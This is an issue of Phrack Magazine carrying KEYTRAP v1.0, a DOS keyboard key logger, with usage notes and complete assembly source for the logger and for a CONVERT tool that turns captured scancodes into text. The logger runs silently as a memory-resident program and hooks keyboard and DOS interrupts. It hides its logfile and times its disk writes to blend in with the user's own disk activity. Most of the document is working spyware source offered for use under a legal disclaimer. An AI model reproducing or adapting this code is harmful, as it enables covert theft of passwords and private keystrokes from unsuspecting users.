                              ==Phrack Magazine==

                 Volume Five, Issue Forty-Six, File 26 of 28

****************************************************************************

                   KEYTRAP v1.0 - Keyboard Key Logger
                      by Dcypher (Dcypher@aol.com)


-------------------------------------------------------------------------
THIS PROGRAM MAY NOT BE DISTRIBUTED IN ANY WAY THAT VIOLATES U.S. OR
FOREIGN LAW.  THIS PROGRAM MUST NOT BE USED TO GAIN UNAUTHORIZED ACCESS
TO DATA AND IS NOT INTENDED TO HELP USERS TO VIOLATE THE LAW !
-------------------------------------------------------------------------
You may distributed UNMODIFIED copies of KEYTRAP freely, subject to the
above limitations, and provided all files are included in unmodified
form; KEYTRAP.EXE, KEYTRAP.DOC
-------------------------------------------------------------------------
The author disclaims ALL warranties relating to the program, whether
express or implied.  In absolutely no event shall the author be liable
for any damage resulting from the use and/or misuse of this program.
-------------------------------------------------------------------------




WHAT IS KEYTRAP ?
~~~~~~~~~~~~~~~~~
KEYTRAP is a very effective keyboard key logger that will log
keyboard scancodes to a logfile for later conversion to ASCII
characters. Keytrap installs as a TSR, remaining in memory
until the computer is turned off.

CONVERT will convert the keyboard scancodes captured by Keytrap
to their respective keyboard (ASCII) characters.


Usage: KEYTRAP <dir\logfile> /A /B /C
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A - Maximum size of logfile
B - Number of keys to log per session
C - Number of minutes between each session

Keytrap is a command line program.

<dir\logfile> - You MUST specify a directory for the logfile.
If you don't specify a directory Keytrap will only look in the
current directory for the logfile. If the logfile is not found
in the current directory no writing will occur. Keytrap will
append the scancode data to the end of the file you specify.

A - The Maximum size of the logfile. This number is checked only
when Keytrap is installed. If the size of the logfile exceeds this
number, Keytrap will delete the logfile and create a new one.

B - This is the number of keys to log per session. Keytrap will
only check this number AFTER a write to the logfile. So if you
specify 50 keys, and Keytrap does not get a chance to write till
there are 100 keys in the buffer, then Keytrap will log 100 keys.

C - This is the number of minutes between each session. When Keytrap
reaches or exceeds the number of keys to log per session, it will
start a delay routine and check this number. You can't specify more
then 1440 minutes, the number of minutes in a day !

Example: KEYTRAP c:\logfile /20000 /200 /20

Keytrap will check "logfile" to see if it exceeds 20,000
bytes. If it does, Keytrap will delete the log file and then
create a new one. Keytrap will then install as a TSR program.
It will log approx 200 keys at a time with a delay of 20 minutes
between each session.


Usage: CONVERT logfile outfile
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
logfile: The file that contains the scancodes that Keytrap logged.
outfile: Specify an output file name.

Theres not too much to say here. This program just converts scancodes
from the logfile into their respective keyboard (ASCII) characters.


NOTES
~~~~~
Keytrap will not display ANY messages. Check the logfile and
the size of the logfile if your not sure Keytrap is working.

Keytrap will only make the logfile hidden if the logfile is
actually created by Keytrap or the maximum size of the logfile
is reached or exceeded. If you specify a file that already
exists then Keytrap will not change that files attributes and
will append all scancode data to the end of the file.

Keytrap will not crash if the logfile gets deleted while Keytrap
is in memory. It will just keep looking for the logfile so it can
write its buffer. A buffer write is not forced until the buffer
reaches 400 bytes. It will then try to write its buffer during
the next interrupt 21 call.

-------------------------------------------------------------------------

If you have any questions or need some help, e-mail me.
Below is my public pgp key, don't e-mail me without it !

                             Dcypher (Dcypher@aol.com)

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6

mQCNAi3iD5cAAAEEAMVJGdgCYzG5av0lLSjO7iXm64qsuk6v/dx5XcMoNmOHNUA3
+tzF0WuVPXuJ59mFxE3/rhQqyh8Mci0f4qT6TR7FfSb8vtzSkF5vW8cNUmQx8Qvf
B/YQZVmztNlWOPROAmT8ZHbsrNev2rgeYjouW3ZOUgA4RKBRYiCTuXD+VOlxAAUR
tBlEY3lwaGVyIDxEY3lwaGVyQGFvbC5jb20+
=w2RN
-----END PGP PUBLIC KEY BLOCK-----

*****************************************************************************

;
;
; KEYTRAP v1.0 - Keyboard Key Logger
; By Dcypher (Dcypher@aol.com)
;
; Usage: KEYTRAP <dir\logfile> /A /B /C
;
;        A - Maximum size of log file.
;        B - Number of keys to log per session.
;        C - Minutes between each session.
;
;------------------------------------------------
      ;
 .286                                    ; 286 or better
 .model small                            ;
 .code                                   ;
 org     100h                            ;
      ;
begin:  jmp     install    ;
      ;
;================================================
      ;
db      ' DCYPHER@AOL.COM / KEYTRAP V1.0 ' ; PLEASE DON'T REMOVE
      ;
buf             db 401 dup (0)                  ; 400 byte buffer
bufptr          dw 0                            ;  +1 for luck :)
      ;
hide            db 0    ; save int21 function call
stimem          dw 0    ; grab time when done
handle          dw 0                            ; logfile handle
control         db 0    ; control which INT to use
done_flag       db 0    ; session done flag
must_write      db 0                            ; must-write flag
write_amount    dw 0                            ; amount written to disk
using_21        db 0    ; already doing an int-21
      ;
old_9a_off      dw 0    ;
old_9a_seg      dw 0                            ;
      ;
old_9b_off      dw 0    ;
old_9b_seg      dw 0                            ;
      ;
old_21_off      dw 0                            ;
old_21_seg      dw 0                            ;
      ;
datasegm        dw 0                            ; save data-segment
      ;
delaym          dw 0    ; delay, in minutes
mkeys           dw 0                            ; maximum number of keys
logH            dw 0                            ; log file size
logL            dw 0                            ; log file size
      ;
;==============================================================================
      ;
int_9A: pushf                                   ;
 pusha                                   ;
 push    es     ;
        push    ds                              ;
 mov     ds, datasegm                    ; we are here
      ;
 cmp     control, 1   ; use this one ?
        je      A91    ;
        call    pkey    ; process key (scancode)
        ;
   A91: pop     ds                              ;
 pop     es                              ;
 popa                                    ;
 popf                                    ;
 jmp     dword ptr old_9a_off            ;
      ;
;================================================
      ;
  pkey: cmp     done_flag, 1                    ; completely done ?
 je      pk2                             ;
 cmp     bufptr, 400                     ; buffer limit reached ?
 jae     pk2                             ;
      ;
 in      al, 60h                         ; get scancode
      ;
 cmp     al, 39h                         ; get downstroke and only
 ja      pk2                             ; as far as spacebar
        cmp     al, 2Ah    ;
        je      pk2    ; no shift
        cmp     al, 36h    ;
        je      pk2    ; no shift
      ;
        push    0    ;
        pop     es    ;
        mov     ah, byte ptr es:[417h]  ; shift status
        test    ah, 43h    ; test for both shift keys
        je      pk1           ; and cap-lock active
      ;
        add     al, 80h    ; show shift or cap-lock
   pk1: mov     di, bufptr                      ; in logfile
 mov     buf[di], al                     ; place scancode in buffer
 inc     di                              ;
 mov     bufptr, di                      ;
        mov     must_write, 1      ; try to write buffer
      ;
   pk2: ret     ;
      ;
;================================================
      ;
int_9B: pushf                                   ;
 pusha                                   ;
 push    es                              ;
 push    ds                              ;
 mov     ds, datasegm                    ; we are here
      ;
        cmp     control, 0   ; use this one ?
        je      B91       ; (not really needed)
        call    pkey    ; process a key (scancode)
      ;
   B91: pop     ds                              ;
 pop     es    ;
 popa                                    ;
 popf                                    ;
 jmp     dword ptr old_9b_off            ;
      ;
;==============================================================================
      ;
int_21: pushf                                   ;
 pusha                                   ;
 push    es                              ;
 push    ds                              ;
 mov     ds, datasegm                    ; here we are
      ;
        cmp     ax, 0ffffh   ; check if already installed
        je      D21    ;
      ;
 cmp     using_21, 1                     ; might need to call an
 je      C21                             ; int-21 here so jump if
 mov     using_21, 1                     ; called from below
        mov     hide, ah   ; save function # for hiding
      ;
        call    switch     ; always control the int 9's
        call    timer    ; always check restart timer
      ;
 cmp     done_flag, 1                    ; completely done ?
 je      B21                             ;
 cmp     must_write, 1                   ; need to write ?
 jne     B21                             ;
        cmp     bufptr, 400   ; push a write when buffer
        jae     A21    ; is full
      ;
        cmp     hide, 3Fh    ; disk read
        je      A21    ; (hide buffer write)
        cmp     hide, 40h    ; disk write
        je      A21    ;
        jmp     B21    ; can't hide, try another time
      ;
   A21: call    saveb                           ; write buffer
      ;
   B21: mov     using_21, 0                     ; no int-21 calls anymore
   C21: pop     ds                              ;
 pop     es                              ;
 popa                                    ;
 popf                                    ;
 jmp     dword ptr old_21_off            ;
;------------------------------------------------
   D21: pop ds    ; already installed !
        pop es    ;
        popa     ;
        popf     ;
        mov     ax, 1    ; show installed
        iret     ;
      ;
;==============================================================================
      ;
timer:  cmp     done_flag, 0   ; only check time when
 je      timerb    ; session is complete !
      ;
        mov     ah, 2Ch    ;
        int     21h    ; what's the time ?
        mov     al, ch    ;
        xor     ah, ah    ;
        mov     bx, 60    ;
        mul     bx    ; multiply hours by 60
        xor     ch, ch    ;
        add     ax, cx    ; add in the minutes
           ;
        mov     bx, stimem   ;
        cmp     ax, bx    ; is time now same as
        je      timerb    ; when session was completed
      ; if so, don't do anything
        xor     cx, cx    ;
timer1: cmp     bx, 1440   ; midnight then back to 0
        jb      timer2    ;
        xor     bx, bx    ;
timer2: inc     cx    ; minutes counter
        inc     bx    ;
        cmp     ax, bx    ; count until time now
        jne     timer1    ;
      ;
        cmp     cx, delaym   ;
        jb      timerb    ; should we reset ?
      ;
        mov     done_flag, 0   ; reset / next session
timerb: ret     ;
      ;
;------------------------------------------------
      ;
switch: mov     ax, 3509h                       ;
 int     21h                             ;
 cmp     bx, offset int_9A               ; everything ok with 9A ?
 jne     sw1                             ; check offset
        mov     control, 0   ; show who has control
        ret            ;
                ;
   sw1: cmp     control, 1   ; 9B already in use ?
        je      sw2    ; yes, don't do anything
        mov     ax, 3509h   ;
        int     21h    ;
        mov     old_9b_seg, es   ;
        mov     old_9b_off, bx   ;
        mov     ax, 2509h   ;
        lea     dx, int_9B   ;
        int     21h    ; use 9B instead of 9A !
        mov     control, 1   ; show who has control
   sw2: ret                                     ;
      ;
;------------------------------------------------
      ;
saveb:  mov     ax, 3d01h                       ;
 mov     dx, 82h                         ;
 int     21h                             ; open logfile, r/w
 jc      probw                           ;
 mov     handle, ax                      ;
 mov     bx, ax                          ;
 mov     ax, 4202h                       ;
 xor     cx, cx                          ;
 xor     dx, dx                          ;
 int     21h                             ; point to eof
 jc      probw                           ;
 mov     ah, 40h                         ;
 mov     bx, handle                      ;
 mov     cx, bufptr                      ;
 lea     dx, buf                         ;
 int     21h                             ; write buffer
 jc      probw                           ;
 mov     ah, 3Eh                         ;
 mov     bx, handle                      ;
 int     21h                             ; close logfile
 jc      probw                           ;
;------------------------------------------------
 mov     cx, bufptr                      ; no problems writing
 add     write_amount, cx                ; so add to written amount
      ;
 mov     cx, mkeys                       ; check number of keys logged
 cmp     write_amount, cx                ; all done ?
 jb      donew                           ;
      ;
 mov     done_flag, 1                    ; show session complete
        mov     write_amount, 0   ; written amount to 0
        call    gtime    ; grab stop time [minutes]
      ;
donew:  mov     must_write, 0                   ; no need to write anymore
 mov     bufptr, 0                       ; buffer pointer back to 0
probw:  ret                                     ; try again another time
      ; (if problem writing)
;------------------------------------------------
      ;
gtime:  mov     ah, 2Ch    ; DONE
        int     21h    ; grab time in minutes
        mov     al, ch    ;
        xor     ah, ah    ;
        mov     bx, 60    ;
        mul     bx    ; multiply hours by 60
        xor     ch, ch    ;
        add     ax, cx    ; add in the minutes
        mov     stimem, ax   ; start time in minutes
        ret     ;
      ;
;==============================================================================
;==============================================================================
      ;
install:mov     bx, 80h                         ;
 cmp     byte ptr [bx], 0                ; any parameters ?
 je      bye                             ;
      ;
        mov   ax, 0ffffh   ;
        int     21h    ; already installed ?
        cmp     ax, 1    ;
        je      bye    ;
      ;
 call    conv                            ; convert command line numbers
 jc      bye                             ;
        call    clog    ; check or create logfile
      ;
        mov     ax, 3509h                       ;
 int     21h                             ;
 mov     old_9a_off, bx                  ; save old int 9
 mov     old_9a_seg, es                  ;
 mov     ah, 25h                         ;
 lea     dx, int_9A                      ;
 int     21h                             ; hook only 9A to start
      ;
 mov     ax, 3521h                       ;
 int     21h                             ;
 mov     old_21_off, bx                  ; save old int 21
 mov     old_21_seg, es                  ;
 mov     ah, 25h                         ;
 lea     dx, int_21                      ;
 int     21h                             ; point to new int 21
      ;
        mov     datasegm, ds   ; save this data segment area
      ; for later use in the ISR's
 mov     bx, offset install              ;
 mov     ax, 3100h                       ;
 mov     dx, bx                          ;
 mov     cl, 04h                         ;
 shr     dx, cl                          ;
 inc     dx                              ;
 int     21h                             ; end / save above install
      ;
   bye: mov ah, 4Ch    ; no installation
        int     21h    ; just end
      ;
;==============================================================================
      ;
  conv: push    ds                              ; convert command line options
 pop     es                              ;
 mov     di, 81h                         ;
 conv1: inc     di                              ;
 cmp     byte ptr [di], 2fh              ; point to first "/"
 jnz     conv1                           ;
 inc     di                              ; point to first number
 call    mconv                           ; convert it
 jc      conv4                           ; any problems ?
 mov     logH, dx                        ;
 mov     logL, cx                        ; save max logfile size
        add     cx, dx    ;
        cmp     cx, 0    ; make sure not 0
        je      conv4    ;
      ;
 dec     di                              ;
conv2:  inc     di                              ;
 cmp     byte ptr [di], 2fh              ; point to second "/"
 jnz     conv2                           ;
 inc     di                              ; point to first number
 call    mconv                           ; convert it
 jc      conv4                           ; any problems ?
        cmp     dx, 0    ; bigger then 65535 ?
        ja      conv4    ;
 mov     mkeys, cx                       ; save key limit
      ;
 dec     di                              ;
conv3:  inc     di                              ;
 cmp     byte ptr [di], 2fh              ; point to third "/"
 jnz     conv3                           ;
 inc     di                              ; point to first number
 call    mconv                           ; convert it
 jc      conv4                           ; any problems ?
        cmp     dx, 0    ;
        ja      conv4     ; bigger then 65535 end
        cmp     cx, 1440   ;
        ja      conv4    ; bigger then 1440 end
        mov     delaym, cx   ; save session delay time
        clc     ; show no problems
        ret     ;
conv4:  stc     ; show problem
        ret     ;
      ;
;------------------------------------------------
      ;
 mconv: xor     cx, cx                          ; main converter
 mov     dx, cx                          ; no comments here, all I
 mov     ah, ch                          ; know is that it works ! :)
 cld                                     ;
 dec     di                              ;
 convl: inc     di                              ;
 mov     al, es:[di]                     ; convert number at es:[di]
 xor     al, '0'                         ;
 cmp     al, 10                          ; carry flag will be set
 jae     convD                           ; if theres a problem
 shl     cx, 1                           ;
 rcl     dx, 1                           ;
 jc      convD                           ;
 mov     bx, cx                          ;
 mov     si, dx                          ;
 shl     cx, 1                           ;
 rcl     dx, 1                           ;
 jc      convD                           ;
 shl     cx, 1                           ;
 rcl     dx, 1                           ;
 jc      convD                           ;
 add     cx, bx                          ;
 adc     dx, si                          ;
 jc      convD                           ;
 add     cl, al                          ;
 adc     ch, 0                           ;
 adc     dx, 0                           ;
 jc      convD                           ;
 jmp     convl                           ;
convD: ret                                     ;
      ;
;------------------------------------------------
      ;
  clog: mov     bx, 82h                         ; point to logfile
 null1: cmp     byte ptr [bx], 20h              ; find first space
 je      null2                           ;
 inc     bx                              ;
 jmp     null1                           ;
 null2: mov     byte ptr [bx], 0                ; replace space with 0
      ;
        mov   ax, 3D01h   ;
        mov     dx, 82h    ;
        int     21h    ; open the file
        jc      clog3    ;
        mov     handle, ax   ; good open, save handle
      ;
        mov     ax, 4202h                       ;
 mov     bx, handle                      ;
 xor     cx, cx                          ;
 xor     dx, dx                          ;
 int     21h                             ; mov pointer to eof
      ;
 cmp     logH, dx                        ; check size
 ja      clog4                           ; size ok
 cmp     logH, dx                        ;
 je      clog1                           ;
 jmp     clog2                           ; must be below, not ok
 clog1: cmp     logL, ax                        ;
 ja      clog4                           ; size ok
      ;
 clog2: mov     ax, 4301h                       ;
 mov     dx, 82h                         ;
 xor     cx, cx                          ;
 int     21h                             ; change file mode
 mov     ah, 41h                         ;
 mov     dx, 82h                         ;
 int     21h                             ; delete file
      ;
 clog3: mov     ah, 3Ch    ; create new
        mov     cx, 02h    ; (hidden)
        mov     dx, 82h    ;
        int     21h    ;
        mov     handle, ax   ;
      ;
 clog4: mov     bx, handle   ; close logfile handle
        mov     ah, 3Eh    ;
        int     21h    ;
        ret     ;
      ;
;==============================================================================

end     begin

*****************************************************************************

;
;
; CONVERT v1.0 - Keytrap logfile converter
; By Dcypher@aol.com
;
; Usage: CONVERT logfile outfile
;
;        logfile - Keytrap's scancode data (logfile)
;        outfile - Specify an output file name
;
;
;----------------------------------------
     ;
 .286                            ;
 .model  small                   ;
 .code                           ;
 org     100h                    ;
     ;
start:  jmp     go                      ;
     ;
;----------------------------------------
     ;
inhandle        dw 0                    ;
inpointH        dw 0                    ;
inpointL        dw 0                    ;
loaded          dw 0                    ;
last            db 0                    ;
     ;
outhandle       dw 0                    ;
outoffset       dw 0                    ;
     ;
;----------------------------------------
     ;
table   db 002h, '1'                    ; scan-code table
 db 003h, '2'                    ;
 db 004h, '3'                    ;
 db 005h, '4'                    ;
 db 006h, '5'                    ;
 db 007h, '6'                    ;
 db 008h, '7'                    ;
 db 009h, '8'                    ;
 db 00Ah, '9'                    ;
 db 00Bh, '0'                    ;
 ;                               ;
 db 082h, '!'                    ;
 db 083h, '@'                    ;
 db 084h, '#'                    ;
 db 085h, '$'                    ;
 db 086h, '%'                    ;
 db 087h, '^'                    ;
 db 088h, '&'                    ;
 db 089h, '*'                    ;
 db 08Ah, '('                    ;
 db 08Bh, ')'                    ;
;----------------------------------------
 db 01Eh, 'a'                    ;
 db 030h, 'b'                    ;
 db 02Eh, 'c'                    ;
 db 020h, 'd'                    ;
 db 012h, 'e'                    ;
 db 021h, 'f'                    ;
 db 022h, 'g'                    ;
 db 023h, 'h'                    ;
 db 017h, 'i'                    ;
 db 024h, 'j'                    ;
 db 025h, 'k'                    ;
 db 026h, 'l'                    ;
 db 032h, 'm'                    ;
 db 031h, 'n'                    ;
 db 018h, 'o'                    ;
 db 019h, 'p'                    ;
 db 010h, 'q'                    ;
 db 013h, 'r'                    ;
 db 01Fh, 's'                    ;
 db 014h, 't'                    ;
 db 016h, 'u'                    ;
 db 02Fh, 'v'                    ;
 db 011h, 'w'                    ;
 db 02Dh, 'x'                    ;
 db 015h, 'y'                    ;
 db 02Ch, 'z'                    ;
 ;                               ;
 db 09Eh, 'A'                    ;
 db 0B0h, 'B'                    ;
 db 0AEh, 'C'                    ;
 db 0A0h, 'D'                    ;
 db 092h, 'E'                    ;
 db 0A1h, 'F'                    ;
 db 0A2h, 'G'                    ;
 db 0A3h, 'H'                    ;
 db 097h, 'I'                    ;
 db 0A4h, 'J'                    ;
 db 0A5h, 'K'                    ;
 db 0A6h, 'L'                    ;
 db 0B2h, 'M'                    ;
 db 0B1h, 'N'                    ;
 db 098h, 'O'                    ;
 db 099h, 'P'                    ;
 db 090h, 'Q'                    ;
 db 093h, 'R'                    ;
 db 09Fh, 'S'                    ;
 db 094h, 'T'                    ;
 db 096h, 'U'                    ;
 db 0AFh, 'V'                    ;
 db 091h, 'W'                    ;
 db 0ADh, 'X'                    ;
 db 095h, 'Y'                    ;
 db 0ACh, 'Z'                    ;
;----------------------------------------
 db 00Ch, '-'                    ;
 db 08Ch, '_'                    ;
     ;
 db 00Dh, '='                    ;
 db 08Dh, '+'                    ;
     ;
 db 01Ah, '['                    ;
 db 09Ah, '{'                    ;
     ;
 db 01Bh, ']'                    ;
 db 09Bh, '}'                    ;
     ;
 db 027h, ';'                    ;
 db 0A7h, ':'                    ;
     ;
 db 028h, 027h                   ; '
 db 0A8h, '"'                    ;
     ;
 db 033h, ','                    ;
 db 0B3h, '<'                    ;
     ;
 db 034h, '.'                    ;
 db 0B4h, '>'                    ;
     ;
 db 035h, '/'                    ;
 db 0B5h, '?'                    ;
     ;
 db 02Bh, '\'                    ;
 db 0ABh, '|'                    ;
     ;
 db 037h, '*'                    ;
 db 0B7h, '*'                    ;
     ;
 db 029h, '`'                    ;
 db 0A9h, '~'                    ;
     ;
;----------------------------------------
     ;
 db 039h, 020h                   ; space
 db 0B9h, 020h                   ; space with shift
     ;
 db 00Eh, 011h                   ; backspace
 db 08Eh, 011h                   ; backspace with shift
     ;
 db 01Ch, 00Ah                   ; return
 db 09Ch, 00Ah                   ; return with shift
     ;
 db 0                            ; End of Table
     ;
;==============================================================================
      ;
 fprob: mov     ah, 9                           ;
 lea     dx, ferr                        ;
 int     21h                             ;
 jmp     bye                             ;
      ;
prtuse: mov     ah, 9                           ;
 lea     dx, usage                       ;
 int     21h                             ;
      ;
   bye: mov     ah, 4Ch                         ;
 int     21h                             ;
      ;
;------------------------------------------------
      ;
    go: mov     ah, 9                           ;
 lea     dx, namver                      ;
 int     21h                             ;
      ;
 mov     bx, 80h                         ;
 cmp     byte ptr [bx], 0                ;
 je      prtuse                          ;
      ;
 call    null                            ;
 call    check                           ;
 jc      fprob                           ;
      ;
   go1: call    ldata                           ;
 call    conv                            ;
 call    sdata                           ;
 cmp     last, 1                         ;
 jne     go1                             ;
 jmp     bye                             ;
      ;
;------------------------------------------------
      ;
  null: mov     bx, 81h                         ;
 null1: inc     bx                              ;
 cmp     byte ptr [bx], 20h              ;
 jnz     null1                           ;
 mov     byte ptr [bx], 0                ;
      ;
 mov     outoffset, bx                   ;
 inc     word ptr [outoffset]            ;
      ;
 null2: inc     bx                              ;
 cmp     byte ptr [bx], 0Dh              ;
 jnz     null2                           ;
 mov     byte ptr [bx], 0                ;
 ret                                     ;
      ;
;------------------------------------------------
      ;
check:  mov     ax, 3D00h                       ;
 mov     dx, 82h                         ;
 int     21h                             ;
 jc      check2                          ;
 mov     bx, ax                          ;
 mov     ah, 3Eh                         ;
 int     21h                             ;
 jc      check2                          ;
      ;
 mov     ah, 3Ch                         ;
 xor     cx, cx                          ;
 mov     dx, outoffset                   ;
 int     21h                             ;
 jc      check2                          ;
 mov     bx, ax                          ;
 mov     ah, 3Eh                         ;
 int     21h                             ;
 jc      check2                          ;
      ;
 clc                                     ;
check2: ret                                     ;
      ;
;------------------------------------------------
      ;
 ldata: mov     ax, 3D00h                       ;
 mov     dx, 82h                         ;
 int     21h                             ;
 mov     inhandle, ax                    ;
      ;
 mov     ax, 4200h                       ;
 mov     bx, inhandle                    ;
 mov     cx, inpointH                    ;
 mov     dx, inpointL                    ;
 int     21h                             ;
      ;
 mov     ah, 3Fh                         ;
 mov     bx, inhandle                    ;
 mov     cx, 60000                       ;
 lea     dx, eof                         ;
 int     21h                             ;
 mov     loaded, ax                      ;
 cmp     ax, 60000                       ;
 je      ldata2                          ;
 mov     last, 1                         ;
      ;
ldata2: mov     ax, 4201h                       ;
 mov     bx, inhandle                    ;
 xor     cx, cx                          ;
 xor     dx, dx                          ;
 int     21h                             ;
 mov     inpointH, dx                    ;
 mov     inpointL, ax                    ;
      ;
 mov     ah, 3Eh                         ;
 mov     bx, inhandle                    ;
 int     21h                             ;
 ret                                     ;
      ;
;------------------------------------------------
      ;
  conv: mov     cx, loaded                      ;
 lea     si, eof                         ;
      ;
 conv1: lea     di, table                       ;
      ;
 cmp     cx, 0                           ;
 je      conv6                           ;
      ;
 mov     al, byte ptr [si]               ;
 conv2: mov     ah, byte ptr [di]               ;
 cmp     ah, 0                           ;
 je      conv4                           ;
 cmp     ah, al                          ;
 je      conv3                           ;
 add     di, 2                           ;
 jmp     conv2                           ;
      ;
 conv3: inc     di                              ;
 mov     al, byte ptr [di]               ;
 mov     byte ptr [si], al               ;
 dec     cx                              ;
 inc     si                              ;
 jmp     conv1                           ;
      ;
 conv4: mov     byte ptr [si], 20h              ;
 dec     cx                              ;
 inc     si                              ;
 jmp     conv1                           ;
      ;
 conv6: ret                                     ;
      ;
;------------------------------------------------
      ;
sdata:  mov     ax, 3D02h                       ;
 mov     dx, outoffset                   ;
 int     21h                             ;
 mov     outhandle, ax                   ;
      ;
 mov     ax, 4202h                       ;
 mov     bx, outhandle                   ;
 xor     cx, cx                          ;
 xor     dx, dx                          ;
 int     21h                             ;
      ;
 mov     ah, 40h                         ;
 mov     bx, outhandle                   ;
 mov     cx, loaded                      ;
 lea     dx, eof                         ;
 int     21h                             ;
      ;
 mov     ah, 3Eh                         ;
 mov     bx, outhandle                   ;
 int     21h                             ;
 ret                                     ;
      ;
;------------------------------------------------------------------------------

namver  db 10,13
 db 'CONVERT v1.0',10,13
 db 'Keytrap logfile converter.',10,13
 db 'By Dcypher (Dcypher@aol.com)',10,13
 db 10,13,'$'

usage   db 'Usage: CONVERT logfile outfile',10,13
 db 10,13
 db '       logfile - Keytrap',27h,'s scancode data.',10,13
 db '       outfile - Specify an output file name.',10,13
 db 10,13,'$'

ferr    db 'WARNING: Problem with one of the files.',10,13
 db 10,13,'$'

;------------------------------------------------------------------------------

eof     db 0
 end start